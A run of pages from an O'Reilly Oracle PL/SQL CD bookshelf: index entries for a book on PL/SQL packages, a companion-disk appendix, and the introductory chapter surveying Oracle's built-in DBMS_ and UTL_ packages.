5.20.1. Tracing PLVobj activity
11.8. Tracing PLVobj Activity
stack activity : 5.24.5. Tracing Stack Activity
variable reads and writes : 2.10.2. Tracing Variable Reads and Writes
tracing function : 21.2.1. Directing Output from PLVtrc
tracing PLVio activity : 5.15.10. Tracing PLVio activity
transaction integrity
1.3.5. Guaranteeing Transaction Integrity
21.1.5. Rolling Back with PLVlog
transaction processing
(see also commits; rollbacks)
20. PLVcmt and PLVrb: Commit and Rollback Processing
transfering data : (see copying)
trapping exceptions : (see exceptions)
trgstg function : 5.15.6. Managing the target repository
trig procedure : 5.8.3. Dumping the DDL
truncate procedure
5.9.4. Data Definition Language operations
19.4.1.2. Dropping and truncating objects with PLVdyn
%TYPE attribute : 2.10.5. Anchoring to Public Variables
TYPE structures : 2.9.2. Lava Lamp Code Consolidation
types : 6.5. The Predefined Datatypes
log : 21.1.3. Selecting the Log Type
passable to p.l : 7.1.1. Valid Data Combinations for p.l
PL/SQL tokens : 10.2.1. Keeping Track of PL/SQL Keywords
table
5.25.1. Predefined table TYPEs
8.1. Using PLVtab-Based PL/SQL Table Types
TYPES
FILE_TYPE : 13.1.2. File Handles
repos_rectype : 12.2.2. Database Source or Target
string_repostype : 12.2.1. String Source or Target

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: U

uninstalling PL/SQL : 4.4.5. Uninstalling PL/Vision
UNIX delimiter
5.11.1. Package constants and exceptions
13.2.1. Setting the Operating System Delimiter
UNKEEP program : 1.4.3.1. Managing packages in shared memory
unpinning code from memory : 1.4.3.1. Managing packages in shared memory
unqualified package references : 1.4.2.1. Unqualified package references
upcexc package : 22.2.1.2. Tired fingers, buggy code
UPDATE command : 19.5.3. Executing dynamic UPDATEs
upgrading code : 1.6.1.6. Hide weaknesses to facilitate upgrades and fixes.
use subdirectory
4.3.3. Beginning the Installation
4.6.3. Contents of the use Subdirectory
usecmnt procedure : 16.3.6. Generating Comments
usecor procedure : 16.3.9. Including CREATE OR REPLACE
useexc procedure : 16.3.5. Using the PLVexc Exception Handler
usehdr procedure : 16.3.3. Using the Program Header
usehlp procedure : 16.3.7. Generating Online Help Text Stubs
useln procedure : 16.3.8. Generating Line Numbers
usemax procedure : 16.3.10. Setting Groups of Toggles
usemin procedure : 16.3.10. Setting Groups of Toggles
USER_DEPENDENCIES data dictionary view : 18.2.1. Knowing What You've Got
USER_ERRORS view : 15.1.2. What SHOW ERRORS Does
USER_OBJECT_SIZE view : 1.4.3.1. Managing packages in shared memory
USER_SOURCE data dictionary view
5.15.4. Managing the source repository
18.2.1. Knowing What You've Got
USER_SOURCE view : 17.5.2. Locating Text in the Data Dictionary
users : 2.5.1. Seeing Developers as Users
awareness of literals : 2.5.3. Avoiding Need for User to Know and Pass Literals
customizing program for : 2.8.1.2. Fitting the program to the user
PLVdyn and : 19.5.10. Executing PLVdyn in Different Schemas
sharing PL/Vision : 4.3.6. Granting Access to PL/Vision
user interface : 3.4. Improving the User Interface
usetrc procedure : 16.3.4. Using the Program Trace
using_cmnt function : 16.3.6. Generating Comments
using_cor function : 16.3.9. Including CREATE OR REPLACE
using_exc function : 16.3.5. Using the PLVexc Exception Handler
using_hdr function : 16.3.3. Using the Program Header
using_hlp function : 16.3.7. Generating Online Help Text Stubs
using_ln function : 16.3.8. Generating Line Numbers
using_trc function : 16.3.4. Using the Program Trace
usrc procedure
5.15.4. Managing the source repository
12.3.4. High-Level Source Management Programs
utility packages : 1.5.2. Prebuilt Packages
UTL_FILE package
1.5.1. Builtin Packages
5.11. PLVfile: Operating System I/O Manager
13. PLVfile: Reading and Writing Operating System Files

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: V

v_currname variable : 11.3. Setting the Current Object
v_currschema variable : 11.3. Setting the Current Object
v_currtype variable : 11.3. Setting the Current Object
v_lastuse variable : 13.5.2. Reading the nth Line
v_lerowind variable : 5.20.6. Programmatic cursor FOR loop elements
v_letab variable : 5.20.6. Programmatic cursor FOR loop elements
v_max_row variable : 9.1. PLVmsg Data Structures
v_min_row variable : 9.1. PLVmsg Data Structures
v_repeats variable : 14.4.2. Calculating Overhead of an Action
v_subst_line variable : 13.3. Creating and Checking Existence of Files
VALUE_ERROR exception
A.1.3. Exception Handling
13.1.4. Handling UTL_FILE Errors
variables
(see also literals)
1.6.1.4. Remove hard-coded literals from your application
anchored declarations : 2.10.5. Anchoring to Public Variables
bind
19.5. DML Operations
19.5.10.2. Avoiding schema confusion for DDL
declaring
1.4.1. The Package Specification
2.10.1. Gaining Control of Your Data
global
1.3.4. Object Persistence
1.6.1.3. Need global data structures for your PL/SQL programs
2.10.2. Tracing Variable Reads and Writes
public versus private : 1.4.4.1. Public and private data
tracing : 2.10.2. Tracing Variable Reads and Writes
vcmax_len constant : 5.3.2. Anchoring datatypes
vu2pstab procedure
5.20.8. Miscellaneous PLVobj programs
11.6. Populating a PL/SQL Table with Object Names
vw procedure : 5.8.3. Dumping the DDL

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: W

warning messages : (see messages)
WHERE clause
5.15.5. Managing the source WHERE clause
12.4. The Source WHERE Clause
12.4.4. Cleaning Up the WHERE Clause
WHILE loop : A.1.2. Loops
whitespace
(see indentation)
15.4.2.10. Cleaning up the output
in help text : 17.4.3. Creating Help Text
in tables : 5.25.5. Toggle for showing blanks in row
indentation
16.2.2.3. Changing indentation of generated code
16.3.1. Indentation in PLVgen
line separator : 7.2. The Line Separator
wildcards
drop_object procedure and : 19.4.1.3. Adding value with PL/SQL
windows : 2.7. Building Windows Into Your Packages
interface (trace) : 2.7.2. Designing the Window Interface
WNDS purity code
1.6.5.1. RESTRICT_REFERENCES pragma
1.6.5.2. Asserting the purity level of the initialization section
WNPS purity code
1.6.5.1. RESTRICT_REFERENCES pragma
1.6.5.2. Asserting the purity level of the initialization section
wrap function : 5.21.2. Wrapping long strings into paragraphs
wrap procedure : 10.1.4.1. wrap procedure
wrapped_string function
5.21.2. Wrapping long strings into paragraphs
10.1.4.3. wrapped_string function
wrapping text
5.21.2. Wrapping long strings into paragraphs
8.2.1. Displaying Wrapped Text
10.1.4. Wrapping Strings into Paragraphs
WRITE_ERROR exception : 13.1.4. Handling UTL_FILE Errors
writing
to files
13.6. Writing to a File
5.11.10. Writing to a file
to log files : 5.17.4. Writing to the log
to logs : (see logging)
to target repository
5.15.7. Reading and writing lines
12. PLVio: Reading and Writing PL/SQL Source Code
12.5. Managing the Target Repository
12.7. Writing to the Target

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/oracle/advprog/index/idx_x.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: Y

year : (see date and time)

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: Z

zoom.sql script : 4.5.1. Zooming in on help text
zooming in on help text : 4.5.1. Zooming in on help text

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Advanced Oracle PL/SQL Programming with Packages Search Page

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Oracle PL/SQL CD Bookshelf Navigation Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] What's on the Companion Disk?

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: IV. Distributed Database Packages Appendix A Next: A.2 Using the Guide

A. What's on the Companion Disk?

Contents:
Installing the Guide
Using the Guide

The content of the companion Windows disk that accompanies this book has been included on this CD, in the /bipack/disk/ directory. It contains the Oracle Built-in Packages Companion Guide, an online tool designed by RevealnNet, Inc., to help you find additional resources. The guide offers point-and-click access to approximately 175 files of source code and documentation prepared by the authors. The goal of providing this material in electronic form is to give you a leg up on the development of your own PL/SQL programs. Providing material on disk also helps us keep the size of this book under (some) control.

A.1 Installing the Guide

In a Microsoft Windows environment, you begin installation by double-clicking on the setup.exe file to run the installation program. If you are working in a non-Windows environment, please visit the RevealNet PL/SQL Pipeline Archives (http://www.revealnet.com/plsql-pipeline) to obtain a compressed file containing the examples on this disk.

The installation script will lead you through the necessary steps. The first screen you will see is the install screen shown in Figure A-1.

Figure A.1: Installing the Companion Guide

You can change the default directory in which the files will be placed. Once this step is complete and the software has been copied to your drive, an icon will appear in the folder you specified. Double-click on the icon to start using the Companion Guide. You will then see the main menu shown in Figure A-2.

Figure A.2: The main menu

Previous: IV. Distributed Database Packages | Oracle Built-in Packages | Next: A.2 Using the Guide
IV. Distributed Database Packages | Book Index | A.2 Using the Guide
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Appendix A] A.2 Using the Guide

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

A.2 Using the Guide

The four buttons on the main menu take you to the companion information for this book.

About the Companion Guide

A brief description of the contents of this disk.

About the Indexes

An explanation of the information provided for each file: name, chapter reference, and description. Filenames highlighted in blue indicate that the files are encapsulations of underlying packages or programs (Chapter 1, Introduction explains encapsulation.) The displayed information also explains the meaning of the various file extensions (e.g., spp, sp, sql).

Source Code Index by Filename

The guide fives you point-and-click access to each of the files on the companion disk. Here the files are listed alphabetically. Source code listings in the book begin with comment lines keyed to these filenames on the disk. Figure A.3 shows a portion of the Source Code Index by Filename.

Figure A.3: The Source Code Index by Filename

Source Code Index by Chapter

Here the files are listed in chapter order to make it easy for you to move between the book and the guide. Figure A-4 shows a portion of the Source Code Index by Chapter.

Figure A.4: The Source Code Index by Chapter

Previous: A.1 Installing the Guide | Oracle Built-in Packages
A.1 Installing the Guide | Book Index
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] Introduction

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: I. Overview Chapter 1 Next: 1.2 Built-in Packages Covered in This Book

1. Introduction

Contents:
The Power of Built-in Packages
Built-in Packages Covered in This Book
Using Built-in Packages
Examining Built-in Package Source Code

Ah, for the good old days of Version 1.0 of PL /SQL! Life was so simple then. No stored procedures or functions -- and certainly no packages. You had your set of built-in functions, like SUBSTR and TO_DATE. You had the IF statement and various kinds of loops. With these tools at hand, you built your batch-processing scripts for execution in SQL*Plus, and you coded your triggers in SQL*Forms 3.0, and you went home at night content with a good day's work done.

Of course, there was an awful lot you couldn't do with PL /SQL 1.0 -- such as build complex, robust, large-scale applications, or read and write operating system files, or manipulate data in array structures, or debug your code effectively, or store your business formulas in reusable program units.

Sure, life was simpler back when you were stuck with PL /SQL 1.0. You just too frequently told your manager or your users that what they wanted done was, well, impossible. Fortunately, Oracle recognized that it would be so much nicer for both its users and its bottom line if its bedrock technology (most importantly, the Oracle RDBMS and PL /SQL) could actually meet user needs. So it came out with PL /SQL Version 2 (which works with Version 7 of the Oracle Server) and then, most recently, PL /SQL Version 8.0 (to accompany Oracle8). In each major version and its sub-releases (2.1, 2.2, 2.3, and, sometime in 1998, 8.1), Oracle has added major new functionality. As a result, hundreds of thousands of software programmers now use PL /SQL to implement sophisticated applications.

Easily the most important new feature of PL /SQL2 was the introduction of packages. Packages (explored in more detail in the next section) allow you to collect together related program elements and control access to those elements. Anyone who develops PL /SQL applications should employ packages at the very core of their layers of reusable code -- and Oracle Corporation itself is no exception. Starting with PL /SQL 2.0 and continuing through every subsequent release, Oracle has made available to PL /SQL developers a series of built-in packages, which extend the functionality of PL /SQL in many fascinating and important directions.

It is no longer sufficient to be aware of and expert in only the core elements of PL /SQL. Getting a handle on IF statements, loops, and the built-in functions like INSTR and TO_CHAR is now only the first phase in your journey towards PL /SQL expertise. To take full advantage of the PL /SQL language, developers must now also learn how to use the programs contained in the built-in packages. And, believe me, once you make a few discoveries in these built-in packages, you will be amazed -- and you will be addicted. You will eagerly troll this book for features you can apply in new and creative ways to solve your problems.

This first chapter introduces you to basic concepts of package usage in PL /SQL, shows you how to use built-in packaged functionality in your programs, and explains how to find and learn from the source code for these packages.

1.1 The Power of Built-in Packages

Most of the built-in packages extend the PL /SQL language to support features that would otherwise be unavailable to you. This is possible because when Oracle Corporation builds a package, they have the luxury of writing elements of the package in C, giving them full access to the underlying operating system and other areas of technology that are off-limits to the rest of us poor PL /SQL programmers. The result is that Oracle is making something available to us which we could not get ourselves, no matter how proficient a PL /SQL programmer we become.[1]

[1] With Oracle8 and its support for external programs in PL /SQL, this is no longer quite true. With PL /SQL8, you will be able to build your own packages that, in turn, call C programs. See Chapter 21 of Oracle PL /SQL Programming, Second Edition, for more information about this feature.

However, I don't want to sound as if I'm complaining. I'm very glad Oracle took advantage of packages and C and whatever else they could (and not just because it gave me the excuse to write another book!). The result is a much more powerful and useful PL /SQL. Let's look at an example to give you a feeling for the way Oracle used the package structure to revolutionize the code you write.

Consider Oracle7 Server Version 7.1: the "Parallel Everything" database, as Oracle Corporation called it in its marketing materials. Oracle 7.1 offered parallel query, parallel index update, and many other features that take advantage of the symmetric multiprocessors widely available today. This parallelization of the RDBMS offered significant improvements in database performance, and we should all be glad for that. But there is, fortunately, so much more for which to be thankful.

1.1.1 A Kinder , More Sharing Oracle

Oracle Corporation didn't simply utilize this parallelization technology inside its own code. It also made this same technology available to us in a "safe" way: through the specification of the DBMS_PIPE package. While DBMS_PIPE is probably not used by the Oracle Server itself, that built-in package certainly accesses the same parallelization technology used by the RDBMS. The advantages for a PL /SQL developer are far-reaching.

Even if DBMS_PIPE originally grew out of a need by Oracle Corporation to enhance its own performance, the advantages of DBMS_PIPE are not confined to the Oracle RDBMS. Any developer can use DBMS_PIPE in all sorts of new and creative ways. You can parallelize your own programs. You can communicate between a client program in Oracle Forms and a server-based process, without having to commit any data. You can build a debugger for your server-side PL /SQL programs.

And, given the fact that the technology accessed by DBMS_PIPE is also used by the Oracle Server, you are all but guaranteed that DBMS_PIPE will be very efficient and (relatively) bug-free.

The DBMS_PIPE package is just one of many such mind- and functionality-expanding new resources made available through the built-in packages. Do you need to issue your own locks? Do you need to detect whether another process in your current session has committed data? Use the DBMS_LOCK package. Do you want to issue messages from within your PL /SQL programs to help trace and debug your program? Check out the DBMS_OUTPUT package. Would you like to schedule jobs within the RDBMS itself? Explore the DBMS_ JOB package. The list goes on and on, and is constantly growing. With the Oracle-supplied packages, you have at your disposal many of the same tools available to the internal Oracle product developers. With these tools, you can do things never before possible!

Previous: I. Overview | Oracle Built-in Packages | Next: 1.2 Built-in Packages Covered in This Book
I. Overview | Book Index | 1.2 Built-in Packages Covered in This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.2 Built-in Packages Covered in This Book

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

1.2 Built-in Packages Covered in This Book

Oracle Corporation provides many built-in packages, in a variety of its products. You may find it hard to believe, but even this large book cannot document all of those packages. Oracle Developer/2000 contains a set of built-in packages, including DDE and TEXT_IO. Oracle WebServer offers its own built-in packages, from HTP to OWA_UTIL, for use in web-based development. This book does not discuss those packages. Instead, its focus is on the core database built-in packages, generally those with a DBMS_ or UTL_ prefix.

Within that context, this book discusses all of the built-in packages that you are likely to use. Although (as noted above) it does not offer descriptions for every single package ever created by Oracle Corporation and stored in the database, I would be very surprised if you ever needed to use one of the few packages not found in these pages. The rest of this section introduces you to the packages covered in this book; I have organized these packages into three general areas:

Application development packages

Used primarily by developers as they build applications.

Server management packages

Used mostly by database administrators to manage their database servers.

Distributed database packages

Used by database administrators and developers to manage data across a distributed enterprise.

It is, of course, quite possible and not uncommon for a DBA to use a package we have designated in this book as an "application developer package." In addition, a single package may contain both administrative and development programs. These categories are not meant to restrict your use of the built-in packages; instead, we hope to give some structure to a long, complex list of functional areas so that you will be able to access the technology with more ease and minimal confusion.

The following sections briefly describe each of the packages found in the chapters of this book. Table 1.1 provides a quick summary. Some of these packages, or the programs within them, are available only under certain Oracle versions, as explained in the following chapters.

Table 1.1: Oracle Built-in Packages
Package | Description | Chapter
DBMS_AQ | Creates messages in, and consumes messages from, specific queues provided by the Oracle Advanced Queuing facility. | 5
DBMS_AQADM | Performs Oracle Advanced Queueing administrative tasks such as creating and dropping queue tables and altering queues. | 5
DBMS_APPLICATION_INFO | Monitors the execution of an application. | 7
DBMS_ALERT | Broadcasts notification to multiple users that specific database events have occurred. | 3
DBMS_DDL | Recompiles stored code, analyzes objects in a schema, and modifies referenceability of object identifiers in Oracle8. | 10
DBMS_DEFER | Queues deferred remote procedure calls (RPCs). | 17
DBMS_DEFER_QUERY | Provides access to parameters passed to deferred calls, primarily for diagnostic purposes. | 17
DBMS_DEFER_SYS | Performs administrative tasks such as scheduling, executing, and deleting queued transactions. | 17
DBMS_DESCRIBE | Gets information about the parameters of a stored program. | 10
DBMS_JOB | Provides an interface to Oracle's job scheduler (for noninteractive execution of PL/SQL programs). | 13
DBMS_LOB | Acesses and manipulates large objects (LOBs) from within PL/SQL programs. | 8
DBMS_LOCK | Helps you manage contention for resources used by complex multiuser applications. | 4
DBMS_OFFLINE_OG | Instantiates sites (i.e., exports data from an existing master site and imports it into the new master site). | 15
SNAPSHOT | Instantiates a new snapshot using an export of a master table. | 14
DBMS_OUTPUT | Displays information to your screen. | 6
DBMS_PIPE | Lets applications communicate with routines external to the database. | 3
DBMS_RANDOM | Provides a random number generator. | 10
DBMS_RECTIFIER_DIFF | Compares replicated tables at two master sites and synchronizes them if necessary. | 15
DBMS_REFRESH | Administers snapshot groups at a snapshot site. | 14
DBMS_REPCAT | Performs many advanced replication operations, including maintenance, snapshots, and conflict resolution. | 14. 15. 16
DBMS_REPCAT_ADMIN | Creates administrator accounts for replication. | 15
DBMS_REPCAT_AUTH | Grants and revokes "surrogate SYS" privileges for administrator accounts, and grants and revokes propagator accounts for Oracle8. | 15
DBMS_REPUTIL | Enables and disables replication at the session level. | 15
DBMS_ROWID | Works with ROWID formats, both extended (Oracle8 only) and restricted (traditional Oracle7). | 9
DBMS_SESSION | Modifies and inspects session roles and settings, and manipulates session memory and package states. | 11
DBMS_SHARED_POOL | Allows PL/SQL objects and SQL cursors to be pinned (kept) in the Oracle shared pool; used mainly for memory management. | 12
DBMS_SNAPSHOT | Maintains snapshots and snapshot logs. | 14
DBMS_SPACE | Analyzes space in tables, indexes, and clusters, and provides information about segment free list sizes. | 12
DBMS_SQL | Executes dynamically constructed SQL statements and PL/SQL blocks of code. | 2
DBMS_SYSTEM | Lets administrators set trace events in other users' sessions (for debugging). | 11
DBMS_TRANSACTION | Provides a programmatic interface to a number of transaction-oriented SQL statements. | 4
DBMS_UTILITY | Performs miscellaneous operations such as freeing unused memory, calculating elapsed program time, etc. | 10
UTL_FILE | Reads and writes information in server-side files. | 6
UTL_RAW | Works with raw data, performing such operations as concatenation, byte translation, etc. | 9
UTL_REF | Provides a PL/SQL interface to select and modify objects in an object table (Oracle8 only). | 9

1.2.1 Application Development Packages

This part of the book collects together packages that are used predominantly by application developers. However, this designation should most definitely not keep DBAs away from these packages. The DBMS_SQL package, for example, can be and has been used by DBAs to construct powerful, efficient scripts for maintaining database objects and extracting information about a database.

Chapter 2, Executing Dynamic SQL and PL/SQL

The DBMS_SQL package offers the ability to execute dynamically (at runtime) constructed SQL statements, including DDL, and PL /SQL blocks of code. DBMS_SQL is simultaneously one of the most complex, useful, and rewarding of the built-in packages. It may take some time for you to get comfortable with the way to apply this technology. Once you are up and running, however, you will be amazed at the feats you will be able to perform!

Chapter 3, Intersession Communication

It seems that everything these days has something to do with communication. Messaging technologies are consequently receiving lots of attention, but they are nothing new for Oracle. Oracle has already provided, through the DBMS_PIPE and DBMS_ALERT packages, mechanisms for communication between database sessions. For instance, using database pipes with DBMS_PIPE, an application can communicate with a service routine external to the database. Or, debuggers that capture PL /SQL errors can utilize the fact that DBMS_PIPE is asynchronous with database transactions, getting the errors logged whether the transaction issued a COMMIT or a ROLLBACK. DBMS_ALERT is a little different in that it allows synchronous notification to multiple users that specific database events have occurred.

Chapter 4, User Lock and Transaction Management

Complex, multiuser applications managing new types of resources (objects, BLOBs, etc.) will require the ability to manage contention for those resources. The Oracle database manages concurrent, multiuser contention for data using sophisticated locking mechanisms. Well, Oracle has now provided developers with the "keys" to those locking mechanisms through the DBMS_LOCK package. Watch out, though. This deceptively powerful package might also put your applications to "sleep"! DBMS_TRANSACTION provides a programmatic interface to a number of transaction-oriented SQL statements.

Chapter 5, Oracle Advanced Queuing

Oracle8 offers a new capability called Oracle Advanced Queuing, which will make it much easier for developers to build applications requiring deferred execution of activity. Oracle is positioning Oracle AQ as an alternative to the queuing mechanisms of teleprocessing monitors and messaging interfaces. Oracle AQ will serve as a foundation technology for workflow management applications, both those delivered by Oracle Corporation itself and those implemented by third parties. Two packages, DBMS_AQ and DBMS_AQADM, make Advanced Queuing available from within PL /SQL programs.

Chapter 6, Generating Output from PL/SQL Programs

The built-in packages offer a number of ways to generate output from within your PL /SQL program. While updating a database table is, of course, a form of "output" from PL /SQL, this chapter shows you how to use DBMS_OUTPUT to display information to your screen and UTL_FILE to read and write information in server-side files.

Chapter 7, Defining an Application Profile

It can be difficult to tell what is going on while an application is running. Wouldn't it be nice to know that the big performance problem was because users were spending 90% of their time in a module that someone else wrote? Seriously, though, one key to providing accurate, quantitative information about utilization and resource consumption is to instrument applications such that they can be tracked externally. The DBMS_APPLICATION_INFO package lets an application register itself in a way that can be monitored at runtime through the V$SESSION and V$SQLAREA virtual tables.

Chapter 8, Managing Large Objects

With Oracle8, Oracle finally offers native, robust support for large objects. Oracle LOBs can be stored in a column in a table or as an attribute of an object type. The database supports objects of up to four gigabytes of data, including character text, graphic images, video, or "raw" data. The DBMS_LOB package provides procedures and functions to access and manipulate LOBs within PL /SQL programs.

Chapter 9, Datatype Packages

This chapter introduces you to several packages that specialize in working with specific types of Oracle data. The DBMS_ROWID package allows you to work with the two different ROWID formats available in Oracle8: extended (new to Oracle8) and restricted (traditional Oracle7 ROWIDs). The UTL_RAW package offers a set of functions allowing you to perform concatenation, substring, bit-wise logical analysis, byte translation, and length operations on RAW data. The UTL_REF package, new in Oracle8 Release 8.1, provides a PL /SQL interface to select and modify objects (instances of an object type) in an object table without having to specify or know about the underlying database table.

Chapter 10, Miscellaneous Packages

You can't find a neat category for eveything, can you? This chapter collects together a variety of useful packages you are sure to dip into on a regular basis. DBMS_UTILITY is the actual "miscellaneous" package. It offers programs to free unused user memory, parse comma-delimited lists, calculate the elapsed time of PL /SQL programs, and much more. You never know what you'll find popping up next in DBMS_UTILITY! DBMS_DESCRIBE contains a single procedure, DESCRIBE_PROCEDURE, which you can use to get information about the parameters of a stored program. DBMS_DDL contains programs to recompile stored code, analyze objects in your schema, and modify the referenceability of object identifiers in Oracle8. DBMS_RANDOM supplies PL /SQL developers with a random number generator.

1.2.2 Server Management Packages

This part of the book groups together packages used to monitor, modify, or manage server-side resources in various ways. These packages will be of definite interest to DBAs; however, developers will also benefit from becoming familiar with them. The packages include facilities for managing session and shared pool memory, monitoring internal space utilization in segments, and executing PL/SQL procedures automatically in background processes.

Chapter 11, Managing Session Information

Oracle technologies allow for a great deal of user customization and security. Language preferences can be specified at the session level using the NLS options of the ALTER SESSION command. Roles can be used to distinguish groups of users from each other and to modify application behavior accordingly. The DBMS_SESSION package contains programs that can modify and inspect session roles and settings from within PL /SQL. This package also contains programs for manipulating session memory and package states; these programs are very instructive to understand, even if not often used. This chapter also describes the DBMS_SYSTEM package, which lets administrators set various trace events in other users' sessions. This can be invaluable when tracking down difficult application performance or database issues.

Chapter 12, Managing Server Resources

With the built-in packages, Oracle is exposing information about database internals -- information that is not directly visible in the catalog. The DBMS_SPACE package gives DBAs an analysis of the amount of space both used and free within a table, index, or cluster segment. It also provides information about segment free list sizes, of special interest to Oracle parallel server administrators. On the memory side, the DBMS_SHARED_POOL package gives DBAs some measure of control over the Oracle System Global Area's (SGA's) shared pool. By pinning large packages into the shared pool, expensive runtime memory management (and even errors) can be avoided.

Chapter 13, Job Scheduling in the Database

The job queue is a powerful facility introduced with Version 7.2 of Oracle that gives DBAs and developers the ability to schedule noninteractive execution of PL /SQL programs. It's ideal for handling regular administrative tasks like analyzing tables and for automatically kicking off long-running batch jobs without requiring operator attention. The DBMS_JOB package is your interface to this facility, and it's a little tricky to use. This chapter explains how the job queue works and how to get it to work for you.

1.2.3 Distributed Database Packages

This part of the book describes the packages used for simple and advanced replication. It provides details about each package's procedures and functions, and explains how to use them together to create a replicated environment.

Chapter 14, Snapshots

The packages DBMS_SNAPSHOT, DBMS_REFRESH, and DBMS_OFFLINE_SNAPSHOT, and some of the programs in DBMS_REPCAT, embody the functionality to maintain snapshots, snapshot groups, and snapshot logs. This includes refreshing snapshots, changing refresh intervals, adding and removing snapshots from snapshot groups, and purging uneccessary data from snapshot logs. You can use DBMS_OFFLINE_SNAPSHOT to instantiate a new snapshot using an export of a master table instead of using the CREATE SNAPSHOT command. In some cases, this type of instantiation is quicker because of network constraints.

Chapter 15, Advanced Replication

This chapter explains how to use the DBMS_REPCAT, DBMS_REPUTIL, DBMS_OFFLINE_OG, DBMS_REPCAT_ADMIN, DBMS_REPCAT_AUTH, and DBMS_RECTIFIER_DIFF packages to create and administer your replicated databases. DBMS_REPCAT and DBMS_REPUTIL contain the bulk of the procedures required to use the advanced replication option (formerly referred to as "symmetric replication"). Use these procedures to define and modify replication groups, replicated objects, master sites, and snapshot sites.

Chapter 16, Conflict Resolution

Inevitably, conflicts will arise in a replicated environment. You can configure Oracle to automatically detect, correct, and report many of the forseeable conflicts by using procedures in DBMS_REPCAT to create and maintain resolution methods.

Chapter 17, Deferred Transactions and Remote Procedure Calls

The advanced replication option relies heavily on DBMS_DEFER to propagate data changes among master sites, but you can also use it yourself to queue deferred remote procedure calls (RPCs). DBMS_DEFER_QUERY is primarily a diagnostic tool that reports on queued RPCs. Use this package to determine the values of passed parameters and more. DBMS_DEFER_SYS contains the procedures you will need to add and remove default destinations for your RPCs, schedule propagation, and manage transactions.

